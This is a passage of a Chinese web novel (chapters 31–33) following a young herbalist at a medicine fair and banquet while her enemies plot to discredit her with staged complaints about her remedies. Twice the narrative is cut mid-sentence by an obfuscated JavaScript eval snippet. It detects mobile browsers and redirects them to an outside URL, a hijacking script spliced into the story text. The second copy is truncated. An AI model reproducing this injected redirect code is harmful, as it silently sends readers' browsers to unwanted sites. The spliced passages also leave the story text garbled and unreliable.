中年人接过小瓷瓶，拔开塞子闻了闻，眼中闪过一丝讶异：“这丸药……气味清正，配伍该是讲究的。”他看向许娇娇，“小娘子，这药是你制的？” 许娇娇迟疑了一下，点点头：“是我帮着炮制药材，东家配的方。” 她留了个心眼，没将功劳全揽在自己身上。这几日风头已经够盛，再让人知道这些成药都是她一手炮制，怕是更要惹眼。 中年人将瓷瓶放回，又问了问价钱，最后买了些柴胡、当归，付了钱便走了。 张东家看着那人的背影，低声道：“看模样像是个懂行的。娇杏，你方才不该说是老夫配的方，那清热丸分明是你的方子……” “张伯，”许娇娇轻声打断，“木秀于林，风必摧之。我年纪小，又是个女子，太出风头不是好事。” 张东家愣了愣，随即叹道：“你说得对……是老夫想岔了。”他顿了顿，“只是委屈了你。” “不委屈。”许娇娇摇头，“我来参会，本就是为了长见识、学本事。能得周行老、李真人指点，已是天大的福分。那些虚名，不要也罢。” 正说着，摊前又来了人。 这回是几个山民打扮的汉子，背着竹篓，篓里装着新鲜的草药。为首的是个五十来岁的老汉，皮肤黝黑，手上满是老茧，操着浓重的乡音：“掌柜的，收鲜药不？” 张东家看了看竹篓里的药材——金银花还带着露水，薄荷叶子嫩绿，车前草根上沾着泥土，确是今早新采的。 “老伯要卖什么价？”张东家问。 老汉搓着手，小心翼翼道：“金银花二十文一斤，薄荷十五文，车前草十文……掌柜看可行？” 这价钱比市价低了两成。张东家看了看许娇娇，许娇娇轻轻点头。 “成。”张东家道，“就按老伯说的价。” 老汉大喜，连忙将竹篓里的药材倒出来过秤。许娇娇帮着称重、算钱，最后数了铜钱递过去。老汉接过钱，手有些抖，连声道谢。 “老伯采药不易，该得的。”许娇娇轻声道。 老汉眼眶微红：“姑娘厚道……实不相瞒，俺们前头问了几家，都压价压得厉害。有的说俺们的金银花不够干，有的说薄荷叶子太小……姑娘是头一个不挑刺、不压价的。” 说罢，千恩万谢地走了。 张东家看着他们的背影，叹道：“这些山民确实不易。青牛山离城三十里，山路难走，他们天不亮就得起身采药，再赶进城卖。一趟下来，也就赚个辛苦钱。” 许娇娇默默点头。她想起前世爷爷说的：药材是天地精华，采药人风里来雨里去，最是辛苦。做药材生意的，不能只图利，也得讲良心。 这时，摊前忽然热闹起来。 几个药商模样的人围了过来，指着摊上的药材议论纷纷： “这就是前几日制六味地黄丸加芝麻油的那个小娘子？” “看着年纪真小……听说才十二三岁？” “周行老都夸她炮制得法，李真人也说她有仁心……” “她制的成药呢？我瞧瞧。” 许娇娇心头一紧。这几日她在鉴评会上确实露了脸，可没想到消息传得这样快，连这些不相干的药商都知道了。 张东家忙上前招呼：“诸位客官，想看什么药材？” 一个胖药商拿起一瓶金疮药，拔开塞子闻了闻，点头：“药气纯正，确是上品。”他看向许娇娇，“小娘子，这金疮药的方子，可能卖？” 许娇娇摇头：“这是家传方子，不卖的。” “价钱好商量。”胖药商不死心，“五十两？八十两？” 周围响起一片吸气声。八十两，够在菰城买处小院子了。 许娇娇还是摇头：“对不住，真的不卖。” 胖药商脸上有些挂不住，哼了一声，放下药瓶走了。其余几个药商也陆续散去，临走时还低声议论： “年纪不大，架子倒不小……” “八十两都不卖，真当自己是什么人物了……” 张东家脸色有些难看，低声道：“娇杏，你方才……是不是太直接了？那些人都是江南道有头脸的药商，得罪了他们，怕是不好。” 许娇娇却平静道：“张伯，卖方子不是小事。这些人连药都没试过，只听了个名声就出高价买方，未必是真心想做药救人。若是将方子卖给他们，他们转头抬高价售卖，或是偷工减料，岂不是害人？” 谁知道这些都是什么人，怎么看都不像是要买方子的人，会不会是——水仙姑和有关？看那个胖药商，一直用异样的眼神打量，许娇娇心底泛起一丝惊觉。 张东家一怔，细细一想，确实如此。 这时，一个温和的声音响起：“许姑娘说得对。” 转头看去，竟是仁心堂的赵药师。他不知何时来的，正站在摊前，含笑看着许娇娇。 “赵前辈。”许娇娇忙行礼。 赵药师摆摆手，拿起那瓶金疮药， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222042|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仔细看了看，点头：“药粉细腻，色泽均匀，炮制得法。”他看向许娇娇，“老夫那日说的，许姑娘考虑得如何了？” 许娇娇知道他说的是买方子的事，轻声道：“我还是那句话——方子不卖。但若前辈真觉得这药好，我愿将制法教给仁心堂的药师，只求一事。” “何事？” “这药制成后，定价不可过高，要让寻常百姓也用得起。”许娇娇认真道，“且仁心堂需承诺，绝不偷工减料，绝不虚假宣传。” 赵药师愣了愣，随即抚掌笑道：“好！好一个让寻常百姓也用得起！”他正色道，“许姑娘放心，仁心堂立堂百年，最重的便是仁心二字。这药若真制成，定价必从公道，质量必保上乘。” 他从怀中取出一张契书：“这是老夫拟的契书，许姑娘看看。仁心堂以每瓶成药售价的一成，作为酬谢付给姑娘。姑娘只需每月来堂里指点两日，教药师们制法便可。” 许娇娇接过契书，仔细看了。契书写得清楚明白，条件公道，并无欺瞒之处。她想了想，点头：“我愿签。” 赵药师大喜，当即取出印泥，两人各自按了手印。契书一式两份，各执其一。 “后日行会庆祝，许姑娘定要来。”赵药师收起契书，笑道，“届时仁心堂会当众宣布此事，也算为姑娘正名——这药方不是卖的，是姑娘仁义，愿传授于众。” 许娇娇心中一动。赵药师此举，不仅给了她实惠，更为她挡去了许多是非，这样以来，水仙姑她们再想迫害自己也要掂量一下。还有一点，药方不是卖给他们的，是传授的，那些想买方子的人便也无话可说。 “多谢前辈周全。” 赵药师摆摆手，又看了看摊上的药材，买了几样常用的，这才告辞离去。 张东家直到赵药师走远，才长舒一口气：“娇杏，你方才……真是让老夫捏把汗。”他顿了顿，“不过赵药师这般安排，确实周全。既得了实惠，又不至招人嫉恨。” 许娇娇点头。她将契书仔细收好，心里踏实了许多。有了这份契书，日后每月便有一笔固定进项，开药铺的本钱也能攒得快些。 午时过后，交易会达到高潮。 各摊位前人声鼎沸，讨价还价声不绝于耳。仁心堂、济世堂这样的大字号生意最好，摊前排起了长队。中小药商也各显神通，有的降价促销，有的送些茶饮招揽客人。 张东家的摊位虽偏，可因着药材品相好，价钱公道，也陆陆续续卖出去不少。到申时初，带来的药材已卖了大半。 远远的李真人度步过来，张东家和许娇娇急忙上前见礼。 “不必多礼，”李真人温声道：“明日行会庆祝，你也要来。虽不会当众褒奖于你，可行内几位有分量的前辈都会到场，你混个脸熟，日后行事也方便。 许娇娇诚恳应答。 从茶肆出来，已是黄昏。 夕阳将北瓦子的飞檐染成一片橘红，摊贩们开始收拾，街市上渐渐安静下来。 回到生药铺，张东家和王氏已听说了契书的事。王氏喜道：“每月固定进项，这可是大好事！娇杏，你这回真是给咱们铺子立了大功！” 静尘和静心急忙上前兴高采烈的帮着张罗饭食，张东家特意让王氏多做了两个菜，又开了坛黄酒。许娇娇以茶代酒，敬了张东家和王氏一杯：“这些日子，多谢张伯和伯母照拂。娇杏能有今日，离不开您二位的帮扶。” 张东家含笑道：“说这些做什么……你是好孩子，该有这般造化。”他顿了顿，“只是明日行会庆祝，你切记要低调。行内人多眼杂，小心应对。” “好。” 饭罢，许娇娇她们各自回房，窗外，月亮又圆又亮，清辉洒在青石板地上，像是铺了一层薄霜。 32. 第32章中医药鉴别会（五） 天气好不容易放晴，谁知第二日又了场急雨。 雨是卯时开始下的，起初只是细密的雨丝，到了辰时，忽然瓢泼起来。雨水顺着屋檐哗哗地淌，在青石板路上砸出一个个水泡。北瓦子今日的庆祝宴设在清风楼，楼檐下挂了防雨的油布，伙计们忙着用竹竿将漏雨的地方顶住，可雨水还是溅得大堂里湿漉漉的。 许娇娇和张东家他们一行到时，一楼大堂已经挤满了人。都是这几日参会的药师、郎中，穿着各式各样的衣裳——绫罗绸缎的有，粗布麻衣的也有。空气里混杂着雨水潮气和药膳的香味，闹哄哄的。 “咱们坐那儿。”张东家指了指靠墙的一张桌子，那桌已经坐了几个小药铺的掌柜，认得是张记的东家，点头招呼。 陆续有人进来。仁心堂的赵药师到了，身后跟着两个伙计，捧着几个锦盒；济世堂的关大夫也来了，与几位老郎中拱手寒暄；还有几位州府来的名医，都是白发苍苍的老者，被人簇拥着往主桌请。 辰时三刻，周行老起身说话。 老人家今日穿了身崭新的深青直裰，声音洪亮：“诸位，今日乃医药评鉴会最后一日。这五日来，老夫与李真人、关大夫、孙大夫等几位行老，有幸见识了江南道医药行当的兴盛，见识了诸位同仁的真才实学。敬诸位一杯！” 众人举杯。许娇娇以茶代酒，抿了一口。 宴席开始了。药膳一道道上桌，黄芪炖鸡、当归羊肉、枸杞炖鱼……香气扑鼻。席间渐渐热闹起来，药师、郎中们互相敬酒，议论这几日的比试，谈论药材行情，说起各地医馆的趣事。 许娇娇默默吃着饭菜，耳朵却竖着。她听见邻桌几个老郎中的对话： “仁心堂那批川黄连，品相确实好，炮制也讲究……” “济世堂的关大夫诊脉是真准，前日那个小儿泄泻的病例，他一眼就看出是误用寒凉药伤了脾胃……” “还是赵药师老到，六味地黄丸制得挑不出毛病……” 她听着，心里暗暗点头。这些老前辈个个都有真本事，自己那点制药手艺，在他们眼里怕是小孩子过家家。 正想着，主桌那边传来王太医的声音：“……此次评鉴会，江南道人才济济，实乃医药之福。”他顿了顿，念了几个名字，“仁心堂赵药师、济世堂李大夫、青州刘老先生、扬州陈掌柜……皆为我辈楷模。” 每念到一个，那人便起身拱手，众人举杯相贺。 许娇娇的名字自然不在其中。她心里反倒踏实——这般最好。她一个十二岁的乡下丫头，若真被当众点名，才是麻烦。 这时，李真人忽然开口：“说到年轻后辈，老夫这几日倒见着个不错的苗子。”他顿了顿，“张记铺子那个小娘子，许娇杏，制药颇有天赋。虽年纪尚小，可火候把握精准，心性也沉稳。” 众人的目光齐刷刷看向许娇娇。 许娇娇心头一跳，忙站起身，垂首行礼：“真人过奖了，只是侥幸。” 周行老捻须点头：“确实，那六味地黄丸加芝麻油的法子，用得巧妙。”他看向许娇娇，眼神温和，“小姑娘，好好学，日后必有作为。” 王太医也含笑看了她一眼，点点头，却未多说。 这般勉励两句，便过去了。众人的注意力很快又回到那些成名已久的药师、郎中身上。许娇娇松了口气，重新坐下，手心却已冒了汗。 宴至半酣，气氛愈加热烈。有老郎中当场切磋起医术，争论某个疑难杂症的治法；有药商说起今年药材行情，摇头叹息；还有人说起医馆里的趣事，引得众人哄笑。 许娇娇静静听着，觉得有意思极了。这些才是真正的医药行当——有学问，有经验，有烟火气。她这几日虽在比试中露了点脸，可跟这些浸淫几十年的老前辈比，实在算不得什么。 这时，她察觉到一道目光。 抬眼望去，只见角落里坐着位男子，约莫五十来岁，面容阴鸷，眼神透着一丝不善，那男子正盯着她看，见她望来，微微撂下眼帘，举杯独饮。 许娇娇心中一惊，忙低下头继续吃饭。这男子她前几日并未见过，不知为何今日在此，许娇娇心中打鼓，会是王大官人的人吗？ 宴席继续。雨水打在油布上，噼啪作响，反倒衬得屋里格外热闹。 许娇娇正吃着，身旁忽然有人低声道：“小娘子，你就是许娇杏？” 转头一看，是个四十来岁的中年妇人，穿着半旧的藕荷色褙子，面容和善。 “正是。”许娇娇起身行礼。 妇人摆摆手：“坐，坐。我姓吴，在城南开了间小医馆。”她打量着许娇娇，“前日你制那六味地黄丸，我瞧见了。火候把握得不错，难得你这般年纪。” “吴大夫过奖了。” “不是过奖。”吴大夫笑笑，“我像你这般大时，还在药堂里当学徒，整天就知道捣药、晒药，哪懂得什么火候分寸。”她顿了顿，压低声音，“你有天赋，是块好料子。只是这行当里，人心复杂。你年纪小，又是女子，行事要更谨慎些。” 许娇娇心头一暖：“多谢吴大夫提点。” 吴大夫点点头，不再多说。 宴至申时，周行老再次起身。 “诸位，今日还有一事要宣布。”他环视众人，“经行会合议，今年评鉴会前十名已定。稍后张榜公布。另外，行会特设‘杏林新苗’奖三名，奖掖年轻有为的后辈。” 他念了三个名字，都是二十来岁的年轻药师。三人起身，在一片或真诚、或羡慕、或客套的掌声与贺喜声中向周行老及众人行礼。席间气氛被推至一个小小的高潮，随后便自然而然地转入更为松弛的交谈与寒暄。又过了一盏茶的功夫，这场汇聚了江南医药界大半人物的盛会，才在周行老最后的举杯致意中正式宣告结束。 宴席散了。众人陆续离去。外头的雨小了些，天色依旧阴沉。 许娇娇跟着张博士步出清风楼，正要登上旁边的骡车，忽然，一辆规制严整的黑漆平顶马车恰好停稳。车厢两侧的暗金色回纹在日照下流转着沉敛的光泽，靛蓝锦缎车帘被一只骨节分明的手掀起。 只见一人弯腰钻出车帘，挺拔的身子如修竹，一袭石青色云纹杭绸直裰更衬出通身的清贵气度。落地抬眼时，目光恰与阶前的许娇娇撞个正着。 “是他！”许娇娇心头一跳。眼前少年容貌之清俊锐利，身姿之挺括，与元宵夜那混乱仓促的一幕截然不同，宛如换了个人。这份天光下的崭新，让她呼吸微滞。 他眉头几不可察地一动，旋即恢复如常，只嘴角掠起一丝辨不出情绪的弧度：“是你啊。” 声线较旧日更低稳些，语气里那份居高临下的审视却丝毫未变，仿佛早料到此番相遇。 他身后，两名深衣紧袖的年轻随从已无声落地，垂首肃立。下颌线绷得如刀裁一般眼观鼻、鼻观心，如影子般静默，唯有余光如网，悄无声息地笼住周遭一切动静。 拉车的两匹漆黑骏马纹丝不动，鞍辔上每一片铜饰都擦拭得锃亮如镜，映出街市一角纷乱的倒影。 少年对身后的紧绷恍若未觉，或者说早已习惯。他向前略迈半步，石青色的衣摆拂过车辕，目光在许娇娇身上顿了顿，像是掂量一件失而复得、却依旧不甚合宜的旧物。 “野丫头......”他开口，嗓音里透出几分意味不明的凉薄，“倒是巧。” “是很巧。”许娇娇有些意外，随即想起那年元宵夜自己曾揪着他衣领让他背着自己出了人群的事，脸上微热，垂首道：“公子安好。” 他打量着她，眼神依旧倨傲：“听说你在这鉴别会上出了点风头？” “只是侥幸。” “侥幸？”他嗤笑一声，“那日看你救人的样子，可不像是只会侥幸的。” 他顿了顿，“周行老是我世叔，我与他提过你一句，虽说粗野无礼，倒还有几分急智。他这才多看了你两眼。” 许娇娇心头微愠，又有些说不清的道不明的难受。原来周行老对她的那点关照，竟是因着这少年的一句话。 她抬起头，看着少年那张依旧傲慢的脸，轻声道：“那就……多谢公子。” “谢字不必提。本公子行事，无非是图个当下清净，不喜欠人，尤其……”他眼风扫过许娇娇，“不欠萍水相逢的莽撞人情。” 他摆了摆手，袖口一道用金线暗绣的螭纹在日光下一闪。他倏然倾身向前，拉近的距离带来一股清冽的压迫感，声音压得极低，只容她一人听清：“听好。你这点微末本事和运气，在贵人眼里，不够填牙缝的。这潭水，”他目光意有所指地掠过清风楼的匾额，“连你看见的深，都只是它乐意让你看见的。”他顿了顿，语气里那丝刻薄似乎淡了半分，只剩一种复杂的平静，“…匹夫无罪，怀璧其罪。好自为之。” 话音落，他已退后，转身时，目光几不可察地扫过她单薄的肩头和细雨中微湿的额发。他脚步未停，却在登上马车前，对身旁那位始终如影子般的随从极低地、快速地道了两个字：“伞。” 随从微怔，旋即无声领命，并未立刻动作。他已掀帘入内，靛蓝车帘垂落，隔绝视线。马车启动，辘辘驶离。 许娇娇仍站在原地，雨水渐密。方才那名如泥塑般的随从却去而复返，一言不发，将一柄素面青竹伞塞入她手中，旋即转身，快步消失在雨幕里，仿佛从未出现。 许娇娇握着尚带一丝清冽木香的伞柄，愕然抬头，只看见马车远去的轮廓。心里五味杂陈。 “娇杏。” 张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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钱管事仿佛才看见张东家，敷衍地拱了拱手，目光依旧锁在许娇娇身上，那笑容愈发显得皮里阳秋：“不敢当。只是奉我家主人之命，前来见识见识这几日风头正劲的杏林新秀。许小娘子年纪轻轻，便能在如此盛会上脱颖而出，连王太医都青眼有加，真是……后生可畏啊。” 他刻意在“王太医青眼有加”上咬了重音，话锋随即一转，语气里掺进一丝不易察觉的阴冷：“不过，小娘子这医术，听说是在归平县乡下习得的？倒让钱某想起一桩旧闻。归平县那边，前阵子似乎闹出些不大不小的风波，牵连到一座庵堂，还有个会看病的小娘子……啧啧，世事难料，谁曾想，那小娘子竟有如此造化，转眼便在府城盛会上扬名了。” 他边说，边慢悠悠地踱近两步，声音压得更低，仅容面前几人听见：“我家主人常说，这人哪，就像药材，得看根脚，看来历。有些药材，长在山野阴沟里，看着品相不错，可谁知道内里是不是沾了不干净的东西，或者……克损了周遭的气运，才长得那般扎眼？” 他目光如毒蛇信子，在许娇娇骤然苍白的脸上舔过，慢条斯理地继续道：“小娘子你说，是不是这个理？这骤然得了大名，是福是祸，可真说不准。我家主人仁厚，念你年幼，让钱某带句话：风光虽好，可莫要忘了根本。有些地方，不是你能久待的；有些名头，也不是你该得的。早早寻个安稳去处，方是正理。免得……木秀于林，风必摧之。这府城的风，可比乡下山沟里的，厉害得多，也冷得多。” 言罢，他不待许娇娇回应，那虚假的笑容一收，冷冷瞥了一眼张东家，意味深长地道：“张东家是明白人，这药铺经营不易，更需谨言慎行，择人而处，您说是吧？”说罢，一甩袖子，转身便走，那栗色绸衫很快融入街角渐浓的暮色与雨雾中。 张东家脸色铁青，望着钱管事消失的方向，良久才重重吐出一口气，转身对许娇娇低声道：“庆和堂是归平县王兆贵的产业，这钱管事是他心腹，最是阴险刻薄。他今日这番话，明是威胁，暗是敲打，看来王兆贵……已经留意到你了。娇杏，此地不宜久留，我们速回铺子。” 许娇娇立在原地，早春的寒雨飘在脸上，却不及心中泛起的冷意。钱管事的话，句句指向她的来历与旧事，如同一条冰冷的锁链，将她与过往那些险恶纠缠重新绑在一起。方才宴席的余温、那柄青竹伞带来的片刻恍惚，此刻已被这赤裸裸的、来自仇敌爪牙的威胁彻底驱散。 她握紧了拳，指甲深深掐入掌心，用清晰的痛感压下心头的惊悸与翻涌的怒意。抬头时，眼中已是一片沉静的寒霜。她对张东家轻轻点了点头。 “我们走吧！” 雨幕如织，笼罩着华灯初上的菰城。一场盛宴散去，而让许娇娇真正在意的却是这个忽然出现的钱掌柜。 阴魂不散。 许娇娇暗暗咬牙！ 33. 第33章 毒计 连着几日的春雨把太湖的水汽都蒸腾起来，湿漉漉地罩着整座城。连空气都黏答答的，吸进肺里带着一股子霉味儿。 归平县往南三十里，水月庵静静卧在半山腰的竹林深处。 庵门紧闭着，门环上积了薄灰。门前石阶缝里钻出几丛野草，嫩生生的，在雨雾里摇着。远处山道上偶尔有樵夫经过，也都是匆匆一瞥便低下头，加快脚步走远了——这庵堂自打水仙姑回来，便透着股说不出的邪气。 已是申时末，天色暗得早。一辆黑漆平顶马车悄无声息地停在了庵后小径的竹林边，拉车的两匹马都被套了嚼子，蹄子上裹了棉布，落地一点声响也没有。 车帘掀开，王大官人王兆贵弯腰钻了出来。 他今日穿了身半旧的栗色绸衫，外罩一件鸦青比甲，打扮得像个寻常富户。四十来岁的年纪，体态微胖，面皮白净，一双眼睛总是半眯着，看人时带着三分笑意，七分算计。 “在这儿候着，莫要声张。”他低声吩咐车夫。 车夫是个精瘦汉子，闻言点头，将马车赶进竹林更深处，隐在暮色里。 王兆贵独自走到庵堂后门，抬手在门板上叩了三下——两轻一重。 门吱呀一声开了条缝，水仙姑的脸露出来。她今日没穿僧袍，只着了件水红色的家常褙子，头发松松绾着，斜插一支银簪。见是王兆贵，脸上立刻堆起笑，眼波流转间尽是媚态。 “冤家，怎的才来。”她压着嗓子，伸手将他拉进门。 后门吱呀一声又关上了，将最后一点天光隔绝在外。 禅房里早已备好酒菜。一张小圆桌上摆着四样精致的菜肴——清蒸鲈鱼、水晶肴肉、香菇菜心、还有一盅炖得奶白的鸽子汤。两副碗筷，一壶温着的黄酒。 水仙姑将王兆贵按在椅上，自己便偎进他怀里，纤手端起酒盅，递到他唇边：“先喝口酒，驱驱寒气。” 王兆贵就着她的手抿了一口，眼睛却盯着她看。烛光下，水仙姑的脸庞依旧娇媚，虽已不似前几年那般鲜嫩，可眼角眉梢那股子风尘里练出来的撩人劲儿，反倒更勾人了。 他伸手揽住她的腰，手掌在她腰际摩挲着，慢悠悠道：“这些时日，想我了没？” “想，怎么不想？”水仙姑顺势靠在他肩上，声音又软又黏，“自打你上回走后，我这心里就空落落的。庵里冷清，夜里连个说话的人都没有……”说着，眼圈竟真的红了。 王兆贵心里受用，面上却不显，只捏了捏她的脸：“少来这套。我还不知道你的心思？无事献殷勤——说吧，又有什么事求我？” 水仙姑被戳破心思，也不恼，反倒坐直身子，正色道：“我今日请你来，确是有事。”她顿了顿，眼中闪过一丝怨毒，“还是那个许娇杏！” 王兆贵眉心一跳，推开她，自顾自倒了杯酒：“又是她。你不是寻得黑老三了么？没成？” “没成！”水仙姑切齿道，“那小贱人机敏得很，我让黑老三带人去堵，她竟提前跑了！后来打听到是去了菰城，投奔什么张记生药铺去了。”她说着，又凑近王兆贵，声音里带上了哭腔，“你是不知道，如今庵里冷清成什么样！自打那扫把星搅和了那档子事，香火断了不说，连附近几个村子的妇人见了我都绕道走！我在归平县这些年攒下的名声，全毁了！” 王兆贵慢慢喝着酒，不说话。 自打上会他将水仙姑从牢里捞出，他心里其实也恼。再怎么说，他也在归平县是个人物，却没想，竟栽在一个黄毛丫头手中。 当初水月庵那桩贩卖人口的生意，是他一手搭的线。南边拐来的孤女童男，从水月庵中转，再往北边那些见不得光的地方送，这些年赚了不少银子。水仙姑虽是个蠢的，可胜在听话，又肯豁出去，用起来顺手。 想起前些日子，他得到了崔使相的嘉奖，他心中正得意，水仙姑又恰好给他送来了消息，让他来水月庵一聚，他也觉得多日不见这骚娘们，有些意动，因此才来庵中私会。没想到竟着了道，要不是他跑得快，险些被这些贱民抓到把柄。 他逃回去后，正在家中召来几个心腹商议，却收到了县衙暗线的暗示，说有人报官，水月庵水仙姑涉嫌阴司。因为是当地的一位秀才着人报的案，官府不得不出面，他情急之下，急忙派人将那些要命的账本、契据转移出来，幸亏及时，不然只怕连自己都要被拖下水。 后来他上下打点，又借着新县令周大人刚上任不熟悉案情的由头，把水仙姑捞了出来，可这口气，他如何咽得下？ 只是当时他正好有事，耽搁了几日。水仙姑这蠢货，又坏了他的事。出来后不安生，竟又私自去找黑老三，想对那丫头下手！一个贱民，竟如此机敏，见机不妙，竟溜之大吉，他都没来得及阻拦水仙姑行事。他怕再闹出人命，会很麻烦。 “我早说过，让你安分些。”王兆贵放下酒杯，语气冷淡，“风头还没过，你就这般沉不住气？” 水仙姑见他脸色不好，心里一慌，连忙又贴上去，娇声道：“我这不是恨嘛！你是不知道，那日在山上，那小贱人当着官差的面，是如何羞辱我的！她拿几封信就把王进唬住了，让我颜面扫地……”她说着，眼中真的落下泪来，“我在归平县这么多年，何时受过这等气？你若不肯帮我，我、我真不知该如何是好了！” 她哭得梨花带雨，王兆贵看着，心里那点火气渐渐被另一种情绪替代。这水仙姑虽蠢，可这身段、这风情，确实是他府里那些小妾比不了的。尤其是她那些不知从哪儿学来的本事，总能撩得他欲罢不能。 罢了，没闹出人命就行。 他叹了口气，伸手替她擦泪：“行了，别哭了。我这不是来了么？” 水仙姑见他语气软了，心中一喜，连忙止住哭，抬眼看他：“那你肯帮我了？” “帮你，也得有个帮法。”王兆贵重新将她揽进怀里，手指有一搭没一搭地绕着她的发丝，“那丫头如今在菰城，有张记生药铺护着。张记虽不是什么大字号，可毕竟在菰城经营多年，有些根基。更何况——”他顿了顿，“我听钱掌柜说，那丫头在菰城医药鉴别会上出了点风头，连周行老、李真人都夸了她几句。” 水仙姑脸色一变：“什么？她、她竟有这般本事？” “有没有本事另说。”王兆贵冷笑，“关键是，她如今算是入了那些老家伙的眼。若在这个节骨眼上出事，难免引人怀疑。” “那、那怎么办？”水仙姑急了，“难道就这么放过她？” “放过她？”王兆贵眼中闪过一丝阴鸷，“怎么可能。只是不能再用那些粗笨的法子。”他沉吟片刻，缓缓道，“这丫头既然想在医药行当里出头，咱们就从这上头下手。” 水仙姑眼睛一亮：“你的意思是……” “让她身败名裂。”王兆贵淡淡道，“一个乡下丫头，无根无基，想在菰城立足，靠的是什么？无非是那点医术名声。若是这名声毁了，她还有什么？” 水仙姑连连点头：“正是！可……具体该怎么做？” 王兆贵端起酒杯，慢慢啜了一口，这才道：“我让钱掌柜去查了。那丫头如今住在张记生药铺后院，平日帮着抓药、制药，偶尔也坐堂诊脉。这几日李真人在，不好下手，想要万无一失，就得从李真人走后。你先沉住气，我自有对策。” 他凑近水仙姑耳边，压低声音：“你记不记得，咱们以前对付那些不听话的娘子，用的什么法子？” 水仙姑一怔，随即明白了，眼中闪过兴奋的光：“你是说……下药？” “不是下毒。”王兆贵纠正，“是让她开的药、制的药，吃出问题来。”他顿了顿，声音更低了，“菰城那些大药铺，哪个没遇到过医闹？若是有人吃了她制的药，出了事，闹到铺子前头，你说会怎样？” 水仙姑越听越兴奋：“那自然是名声扫地！说不定还要吃官司！” “正是。”王兆贵点头，“到时候，张记为了自保，必定将她推出去。她一个无依无靠的孤女，拿什么跟人斗？要么吃牢饭，要么……” 王兆贵做了一个手势。 水仙姑看的眼皮一跳，想了想，却又皱眉：“可这法子，得找合适的人去闹。寻常百姓，怕是没这个胆子，也闹不出什么声势。” 王兆贵笑了：“这你就不用操心了。我在菰城经营多年，别的没有，人手还是不缺的。”他眼中闪过一丝得意，“庆和堂在城东那间铺子，掌柜的老赵，是我的人。他手下养着几个‘药托’，专做这种买卖。” “药托？” “就是假装吃药吃出问题，去药铺闹事的人。”王兆贵解释，“这些人是老手，知道怎么闹才能逼药铺就范。寻常小打小闹，赔点钱就了事；若是想彻底毁了一家铺子、一个人，他们也有的是法子。” 水仙姑听得心花怒放，忍不住在他脸上亲了一口：“还是官人厉害！这法子好，既不用咱们露面，又能把那贱人往死里整！” 王兆贵受用地眯起眼，却又提醒道：“不过这事急不得。那丫头刚在鉴别会上出了风头，现在盯着她的人多。咱们得等风头过了，再动手。” “等多久？” “少则三月，多则半年。”王兆贵盘算着，“等她以为平安无事了，放松警惕了，再给她致命一击。” 水仙姑虽然心急，可也知道这事急不来，只得点头：“好，我都听你的。” 两人又说了一会儿话，水仙姑见王兆贵心情不错，便又提起另一桩事：“对了，庵里如今没了进项，我那些体己钱也花得差不多了……你看，咱们以前那生意，还能不能……” “打住。”王兆贵立刻沉了脸，“那生意暂时不能做了。新来的周县令虽然收了我的银子，可这人看着不像前任那么好拿捏。他刚上任，正想做出政绩，咱们若在这个节骨眼上顶风作案，不是往他刀口上撞么？” 水仙姑悻悻道：“那总不能坐吃山空吧？” 王兆贵想了想，从怀里摸出个钱袋，扔在桌上：“这里头有五十两，你先用着。等风头过了，我再想办法。”他顿了顿，又补充道，“不过，你若真想赚银子，我倒有个主意。” “什么主意？” “你这水月庵，位置偏僻，环境清幽。”王兆贵环视禅房，意有所指，“若是用来招待些贵客，倒是个好地方。” 水仙姑先是一愣，随即明白了，脸上浮起一抹红晕，嗔道：“冤家，瞧你说的什么话……” “我说正经的。”王兆贵正色道，“我在府城认识几位老爷，就好这一口——寻个清静地方，找几个年轻 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水仙姑送他到后门，临别时又拉住他袖子，低声道：“那许娇杏的事，你可要快些办。我是一天都等不了了。” “放心。”王兆贵拍拍她的手，“钱掌柜已经在安排了。等时机一到，定叫她好看。” 送走王兆贵，水仙姑独自站在后门边，望着黑沉沉的夜色，脸上慢慢浮起一抹狠毒的笑。 许娇杏，你等着。 我要让你知道，得罪我水仙姑的下场！ ...... 菰城东街，庆和堂后院书房。 钱掌柜正对着烛火看一份信笺。信是王大官人下午派人送来的，上头只有寥寥数语，却让他眉头紧锁。 “伺机而动，毁其名声……这倒不难。”他低声自语，“可那丫头如今风头正盛，连王太医都当众夸过她，若在这个节骨眼上动手，会不会太显眼了？” 正思忖着，门外传来伙计的声音：“掌柜的，赵掌柜来了。” “请他进来。” 门开了，一个四十来岁、留着两撇鼠须的瘦高男子走进来，正是庆和堂城东分号的赵掌柜。他拱手笑道：“钱兄，这么晚叫我来，有何要事？” 钱掌柜将信笺递给他：“你先看看这个。” 赵掌柜接过，快速扫了一眼，脸色微变：“这是……大官人的意思？” “嗯。”钱掌柜点头，“要对付张记那个小丫头，许娇杏。” 赵掌柜沉吟道：“这丫头我听说过。前几日在鉴别会上出了风头，制药手艺得了周行老和李真人的夸赞，听说王太医还当众勉励了她几句。”他顿了顿，“如今她在医药行当里，也算有点小名气了。这时候动手，怕是不妥吧？” “我也这么想。”钱掌柜叹气，“可大官人催得急，说水仙姑那边等不了了。” 赵掌柜眼中闪过一丝了然。水仙姑和王大官人的关系，他们这些心腹多少知道些。那女人虽是个蠢的，可架不住大官人喜欢，这些年没少给她擦屁股。 “既是这样，那就得想个周全的法子。”赵掌柜捋着鼠须，眼珠转了转，“不能明着来，得暗着来。” “怎么说？” “我手底下养着几个药托，都是老手。”赵掌柜压低声音，“让他们假装去张记看病抓药，回头就说吃了药出了问题，去铺子前头闹。闹得越大越好，最好能惊动官府。” 钱掌柜皱眉：“这法子会不会太老套？张记若是抵死不认，或是请行会出面调解，只怕闹不大。” 